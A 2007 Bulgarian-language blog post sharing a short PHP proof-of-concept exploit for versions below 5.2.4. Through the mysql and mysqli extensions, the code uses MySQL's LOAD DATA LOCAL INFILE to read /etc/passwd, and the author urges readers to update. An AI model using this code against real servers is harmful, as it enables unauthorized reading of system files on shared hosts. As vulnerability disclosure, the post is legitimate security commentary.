Showing posts with label сигурност. Show all posts
Showing posts with label сигурност. Show all posts

Tuesday, October 30, 2007

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();


Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.